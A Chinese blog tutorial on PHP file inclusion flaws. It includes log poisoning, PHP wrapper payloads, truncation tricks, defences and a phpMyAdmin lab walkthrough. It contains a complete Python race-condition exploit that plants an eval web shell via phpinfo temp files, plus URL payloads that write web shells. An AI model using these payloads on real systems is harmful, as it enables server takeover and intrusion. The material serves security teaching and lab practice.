文件包含与远程包含漏洞

发布于 2022-03-16  242 次阅读


文件包含与远程包含漏洞

文件包含简介

将一段代码写在文件里,需要的时候对文件进行调用,这段代码在很多网页中都会用到。

例如:数据库连接代码

mysql.php 只负责数据库连接
common.php 只负责功能实现

如果不对文件进行引用,会造成代码冗余。

核心

文件包含核心就是对文件的引用

相关函数

include()文件包含 用到去读取使用
require() 文件包含 在代码执行前就去读取包含的文件一起执行

include遇到错误会抛出警告,并往下执行,但require不会,require在遇到错误是会直接报错

include()
require()
include_once() 同一个文件只包含一次
require_once() 同一个文件只包含一次

文件包含

分为两类:

  • 本地文件包含(LFI:local file include) 一句话木马得传的上去或者写的进去
  • 远程文件包含(RFI: remote file include) 直接包含就可以,自己服务器或者任何东西上放个txt直接包含就可以了,[你的木马不存在在目标主机上]要包含的远程地址一般都是txt.
  • 路径:
    • ../上级目录
    • ./当前目录

文件包含常见路径

包含日志文件getshell

简述

常见的中间件如IIS、Apache、Nginx 都会记录访问日志,如果访问日志或者错误日志中存在有代码,并且具有文件的访问权限,就也可以被包含执行。例如存在一句话也可以导致getshell

访问权限: linux下日志文件默认权限是root权限,而windows下是允许访问的

apache 访问日志的路径 /var/log/apache2/access.log 或者 /etc/httpd/logs/access_log

nginx 访问日志的路径 /var/log/nginx/access.log

windows系统的话一般是在安装目录的logs文件夹下

演示

这里我们演示windows下的包含日志

image-20221112001057885

我们在访问url中加入一句话

image-20221112001536056

可以看到访问日志中已经记录了一句话,但是被url编码了

image-20221112001528412

这个编码是由于浏览器提交表单会自动url编码造成,可以抓包绕过

image-20221112001914602
image-20221112002003562

成功绕过,让我们来引入一下看看

image-20221112003010890

可以看到,成功把访问日志文件包含并且执行了phpinfo

包含环境变量文件GetShell

需要PHP运行在CGI模式,并且在数据包中的User-agent参数值修改成payload

如果成功写入环境变量,并且包含成功就可以getshell

phpinfo包含临时文件

原理:

  1. php在解析multipart/form-data请求时,会创建临时文件,并且写入上传文件,脚本执行结束后删除
  2. phpinfo可以输出$_FILE信息
  3. 在临时文件删除前包含执行命令

拖延时间的方式

  • 可以在数据报文中添加大量的垃圾数据,使得phpinfo的信息过大,导致php输出进入流式输出,并不一次输出完毕
  • 通过大量请求来延迟php脚本的执行速度

演示

  • 首先网站要存在phpinfo页面,我们这里准备了一个phpinfo页面 image-20221112152250296

然后有一个上传文件到phpinfo的表单页面

image-20221112152628278
image-20221112152637446

当我们上传文件提交到phpinfo,php解析时就会生成临时文件,上传完成后才会删除

于是我们上传一个图片马

image-20221112153208784

可以在phpinfo中查看到我们上传的图片1.jpg

于是我们可以利用脚本进行包含临时文件

image-20221112160025055

执行脚本后,就会生成/tmp/g 临时文件,这个就是我们上传的文件,于是我们再次包含它

image-20221112160415321

可以看到成功执行命令

使用到的脚本如下

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r

<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000

    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    # modify this to suit the LFI script
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x: 
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():

    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

php伪协议

这里有一篇php伪协议 极简述 浅谈PHP伪协议 - ZZB。 - 博客园 (cnblogs.com)

file://   访问本地文件系统
http://   访问 HTTP(s) 网址
ftp://    访问 FTP(s) URLs
php://    访问各个输入/输出流(I/O streams)
zlib://   压缩流
data://   数据(RFC 2397)
glob://   查找匹配的文件路径模式
phar://   PHP 归档
ssh2://   Secure Shell 2
rar://    RAR
ogg://    音频流
expect:// 处理交互式的流

了解一下PHP的配置文件(php.ini)

简单了解相关配置,想要详细了解请看这篇文章,PHP配置文件php.ini在哪里?_cunjie3951的博客-CSDN博客

allow_url_fopen 默认值是On,允许URL里的封装协议访问文件

allow_url_include 默认值是Off ,不允许URL里的封装协议包含文件

image-20221112175925176

举例详解

file:// 访问本地文件

file://和file:///的区别

URL结构是: <协议>://<主机>:<端口>/<路径>

file://是协议 而file:///多出来的/表示是本地的文件

image-20221112183043866
image-20221112182851801
image-20221112182903912

从这两个图可以看出,file:///必须是三个斜杠才可以成功访问

file://和http://的区别

file://协议只可以打开本地的文件

http://协议则是请求服务器,并由服务器解析后允许访问文件

php://

php:// 用于访问各个输入/输出流,经常使用的是php://filter 和 php://input

php://filter 一般用于读取源码

php://input 用于执行php代码

php://input

php://input 可以访问请求的原始数据的只读流,将post请求数据当作php代码执行

使用条件:allow_url_fopen=On , allow_url_include=On

需要注意:当enctype="multipart/form-data"时,该协议无效

image-20221112181146007

可以看到,该协议生效

image-20221112181128205

php://filter

格式
php://filter/过滤器/resource=待过滤的数据流
参数
名称描述
resource=<要过滤的数据流>这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。
常见过滤器 也可以看这篇文章PHP: 可用过滤器列表 - Manual
  • string
  • string.rot13 ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。
  • string.toupper 把小写字母转换为大写字母。
  • string.tolower 把大写字母转换为小写字母。
  • string.strip_tags 过滤字符串中的 HTMLXML 以及 PHP 的标签,简单理解就是包含有尖括号中的东西。
  • convert
  • convert.base64-encode base64编码
  • convert.base64-decode base64解码
  • quoted-printable-encode Quoted-printable可译为可打印字符引用编码,可以理解为将一些不可打印的ASCII字符进行一个编码转换,转换成=后面跟两个十六进制数
  • quoted-printable-decode
  • zlib bzip2
  • zlib.deflate 压缩
  • bzip2.compress 压缩
  • bzip2.decompress 解压缩
  • zlib.inflate 解压缩
image-20221112185410170

压缩协议:phar://、zip://、bzip2://、zlib://

zip://格式
zip:// [压缩文件路径]#[目录]/[文件名]    

这里的1.jpg是写了phpinfo函数的

image-20221112190331638
image-20221112190412522

打成压缩包

image-20221112191404439

成功被解析,并且,当压缩文件后缀名并不是.zip时,该协议会自动判断该文件是不是zip格式文件,并进行访问

image-20221112191531229

我们把压缩包重命名成1.jpg

image-20221112191615217

可以看到,还是可以包含的

其他的格式
?file=compress.zlib://[压缩包路径|文件路径]
?file=compress.bzip2://[压缩包路径|文件路径]    
phar://[压缩包路径]/[目录]/[压缩包中文件名]

这里的1.zip就是直接把1.jpg打包成zip格式 而 2.zip是将1.jpg放入文件夹2中打包的

zlib://
image-20221112192344186
image-20221112192523990
phar://
image-20221112194208495

data://

可以直接将传入的数据当作代码执行

使用条件:allow_url_fopen=On , allow_url_include=On

image-20221112195252123
data://1/2/3,<?php phpinfo();?>    
data:///,<?php phpinfo();?>
data://123,<?php phpinfo();?>      # 这种不可以,我个人理解是最少两个目录

也可以进行base64编码,但是我这里不知道为什么,<?php phpinfo();?> 加上分号就会报错了

data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
image-20221112200253294

远程文件包含

当两个属性都开启之后,就可以包含远程文件

http://192.168.80.128/1.jpg 我们要包含这个文件

image-20221112202806904

可以看到成功执行了1.jpg中的phpinfo代码

文件包含截断攻击

文件包含截断攻击,在php版本小于5.3.4,允许使用%00截断,在使用include等文件包含函数时,可以截断文件名

注意:截断会受gpc影响,如果gpc为On时,%00会被转义成\0从而失效。

gpc即 magic_quotes_gpc

但是我刚开始使用的php版本是5.3.29nts,并且关闭了gpc,但是也没有包含成功,我也不知道什么原因,后来更换了5.2.7nts版本的成功了

场景

当文件包含时对文件后缀名进行了拼接

<?php
include($_GET['file'].'.php');
?>
image-20221112205015658
image-20221112213519680

超长文件截断

这个适用于win32,并且php版本小于5.2.8, linux文件名长于4096,windows长于256

原理:利用操作系统对目录的最大长度限制

http://127.0.0.1/test/lfi.php?file=1.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

http://127.0.0.1/test/lfi.php?file=1.txt..........................................................................................................................................................................................................................................

两种截断

远程文件包含截断

适用于远程包含文件截断的字符

符号url编码
#%23
?%3f
00%00

防御措施

  • 严格过滤包含中的参数
  • 路径限制,限制被包含文件只能在固定目录中,禁止目录跳转字符,如../
  • 包含文件验证:验证被包含文件是否在白名单当中
  • 尽量不使用动态包含,可以固定写死
  • 设置allow_url_include 为Off

靶场实操

对本地搭建好的phpmyadmin代码审计

寻找include()函数

image-20220314123152035

这里的$_REQUEST传参可控

对函数进行定位

image-20220314124207695

对函数进行定位

如果target不为空
必须是字符串
传参不能以index开头
target不能在黑名单里(import.phpexport.php
要过这个函数checkPageValidity

进入靶场,然后root/root进入后台

image-20220314122347203

创建数据库

image-20220314124652303

在插入数据时写入马

image-20220314124915028

数据库绝对路径为 C:/phpStudy/MySQL/

https://wjbh522a.zs.aqlab.cn//index.php?target=server_binlog.php%253f/../../../../../../phpStudy/MySQL/data/123456/test.frm&1=phpinfo();
image-20220314125744948
https://wjbh522a.zs.aqlab.cn//index.php?target=server_binlog.php%253f/../../../../../../phpStudy/MySQL/data/123456/test.frm&1=file_put_contents(%271.php%27,%27%3C?php%20eval($_REQUEST[1]);?%3E%27);

写入马

image-20220314130100338

连接菜刀

image-20220314130350470

本当の声を響かせてよ